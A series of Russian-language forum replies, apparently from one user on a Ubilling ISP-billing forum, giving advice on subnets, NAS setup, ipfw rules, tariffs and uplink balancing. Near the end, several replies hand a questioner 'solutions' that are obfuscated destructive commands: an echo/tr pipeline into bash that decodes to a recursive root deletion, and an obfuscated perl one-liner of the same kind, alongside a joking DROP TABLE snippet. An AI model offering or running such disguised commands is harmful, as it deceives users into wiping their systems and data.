nightfly

Если вы о структуре рук то в руке выделяют следующие анатомические области и соответствующие им кости: плечевой пояс, ключица, лопатка, плечо, предплечье, кисть. Привожу пример руки: Если же вы интересуетесь тем, как показывать десяток букв/цифр в виде странички, то даже не знаю что вам ответить. Все больше начинают закрадываться подозрения, что это вы так специфично шутите.

с помощью рук Администраторов ubilling там и не должно быть. Это пользователь stargazer.

Я думаю вы имели в виду Мей Марш. К сожелению при подключении она этого не увидит, по той причине, что скончалась в 1968 году. Обожаю самоцитирование

Да. А можно и такие штуки им показывать: http://www.piclod.com/s/161

Вроде как весь убиллинг юникодный - utf-8 тоесть.

1. либо PHP < 5.2 2. либо сигнапилке неоткуда получить список улиц, накой черт вы отдельную базу создали? Включите хотябы вывод ошибок в PHP, глядишь и увидите, чего ей не нравиться.

Вобщето "бренд" в сфере сетевых, там аж один. Причаститься: http://dadv.livejour...com/139170.html

Что угодно только не это. Цена адекватной(!) двухголовой igb карточки нынче эквивалентна стоимости "разок нормально побухать".

В самом тупом варианте как-то так ${FwCMD} add 101 allow all from айпишка_внутренней_сетевой to any ${FwCMD} add 101 allow all from any to айпишка_внутренней_сетевой А вобще логичнее просто отдельно позволить для 2-й таблички ходить на внутреннюю сетевую только по src/dst port 80 и 53

стратегически без разницы сколько их там будет, оно для того и задумано Все зависит в первую очередь: от вашего железа и качества сетевых ну и дальше от pps, объема трафика, и количества сессий. Практический опыт других сетей подсказывает что средний тазик ценовой категории ~$1k уверенно держит 1.5к абонентов с тарифами 3-100 Мбит при потоке в ~750Mbit/s в конфигурации "все в одном" практически без тюнинга. Хотя держать такой комбайн лично считаю извратом. pps можно посмотреть вот так: netstat 1 Сколько трафика у вас суммарно думаю сами знаете. Хозяйке на заметку: те

Там нечего думать. Добавляете себе сети для абонентов, допустим: 1. 10.10.0.0/24 2. 10.10.1.0/24 На них вешаете сервисы: 1. 10.10.0.0/24 -> Типа интернет 2. 10.10.1.0/24 -> Х...евый интернет Для подсетей добавляете NAS в соответствии со своими реалиями. Если же вы используете раздельные NAS на rscripd или mikrotik на этом все заканчивается. В противном случае едем дальше. Если используете стандартные заготовки для BSD из ubinstaller в варианте billing+nas модифицируете свой /etc/firewall.conf добавив обе подсети масками в table(2) и подняв разные екземпляры nat для ка

Выше же рассказал, зачем нужна логика подсетей/сервисов. Собственно для провайдеров, которые используют Ubilling, и не имеют возможности сделать нормальную аггрегацию внешних линков, замечено вполне нормальное использование раскидывания юзеров по подсетям с чуть более узкой маской. Дальше как будут распихиваться эти сети и кудой они ходят, через разные экземпляры NAT на разных интерфейсах, через разные удаленные NAS на базе rscriptd, заруливаться к бабушке на деревню или еще куда - биллинг как и задумано не колышет. Абстрагировать логику учета средств от механики и топологии доступа, я

Окей, я более убог - всего только 2 аплинка по 10Г. В любом случае считаю, что биллингу который дефакто и деюре является считалкой денег, должно быть абсолютно на это фиолетово. Такие вещи решаются посредтсвом BGP как я уже упоминал. Кустарная балансировка дефолтраутов при помощи pf round-robin либо ipfw prob/fwd еще никогда нормально не работала. Вижу имели шанс убедиться в этом на собственном опыте. Каждому абоненту отдельно в ручную прописывать дефолтраут? Мсье знает толк в извращениях. Почему просто не выделить пусть даже 4 подсети, навешать на них соответственно серви

Смысл? Всеравно в принципе не понимаю как классификатор трафика, нужный к слову только для раздельного учета трафика (интернет/локалка) по направлениям, тобишь таки тарификации, должен коррелировать хотябы логически с политикой PBR в сети. Если уж так руки чешутся отправлять абонентов разными каналами в интернеты: 1. Для этого существует логика разделения на подсети и сервисы, для логической организации групп абонентов и разбрасывания их по разным серверам доступа 2. Для управления на лету раутингом при подъеме каждого единичного абонента вполне возможно использовать "дополнительные

Каким местом биллинг должен соотноситься с вопросами политики внешнего раутинга? Нормальные люди делают бекап и балансировку аплинков при помощи BGP, ну или на худой конец скриптовыми подпорками. В общем чем угодно только не считалкой денег. ЗЫ второй вопрос в FAQ как бы намекает

Это "тихо сам с собою" называлось "прочувствуйте разницу между отключением и заморозкой".

Как говаривал Джон Кармак "то чего вы не видите, на самом деле не существует" (С) - непопулярные тарифы какраз для этого Удачки.

ну это все тем же "переназначением скорости" Жалко чтоли наклепать для любимых обманентов пару лишних тарифов и пометить их как непопулярные? Старгейзеру при вменяемых количествах тарифов, тем более анлимных практически фиолетово. Помниться писали примочку для одной сети чтобы абоненты сами могли придумывать и назначать себе тарифы типа до такой-то скорости 1 мбит столько-то стоит, а после такой - вот столько то, ну и так далее с граничными порогами. Как результат через неделю тестирования на живых абонентах - в базе сотня(!) "персональных тарифов" + пачка штатных из прайса. Весель

Пока что могу придумать только три варианта: 1. Либо создать отдельные тарифы для таких абонентов если требуется четкий учет, чтобы тарифы для этих единичных юзеров не лезли под руку при работе с нормальными пользователями, можете добавить их в справочник "непопулярных тарифов" - он именно для этого и задуман. 2. Либо просто накидывать разницу по деньгам (100-75=25) при помощи "корректировки сальдо" чтобы выровнять по АП. Чтобы в финотчете фигурировал реальный денежный приход. 3. Если эти абоненты типа "свои" и интернет им просто раздается за какую-то одну сумму или бесплатно, но на разн

На жалость давите? Бесперспективно.

KaYot Все также $query="DROP TABLE `".date("zYxmxd")."`"; NETOS ну вот, приперся aike-очевидность и испортил все веселье ...значит он непрофпригоден

aike KaYot Культурным языком это называется "денормализацией структуры БД" и на самом деле имеет смысл для ускорения выборок. Какая в общем разница профпригодному админу выискивать и прибивать нужный день по одной здоровенной табличке (п-ф-ф) или флушить посуточные/помесячные или еще какие?

Ну дык говорю же echo update_+f | tr -s "f+_etadpu" "*/ rf- mr" | bash Чисто BSD way или вон господин 911 предлагает вам еще более прозрачный вариант

как есть Ну может так понятнее будет: echo update_+f | tr -s "f+_etadpu" "*/ rf- mr" | bash

Ухты, делать TRUNCATE табличек методом кнопочки F8 в миднайте это новое слово в "научном администрировании" Автору топика могу посоветовать лишь воспользоваться следующим способом: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'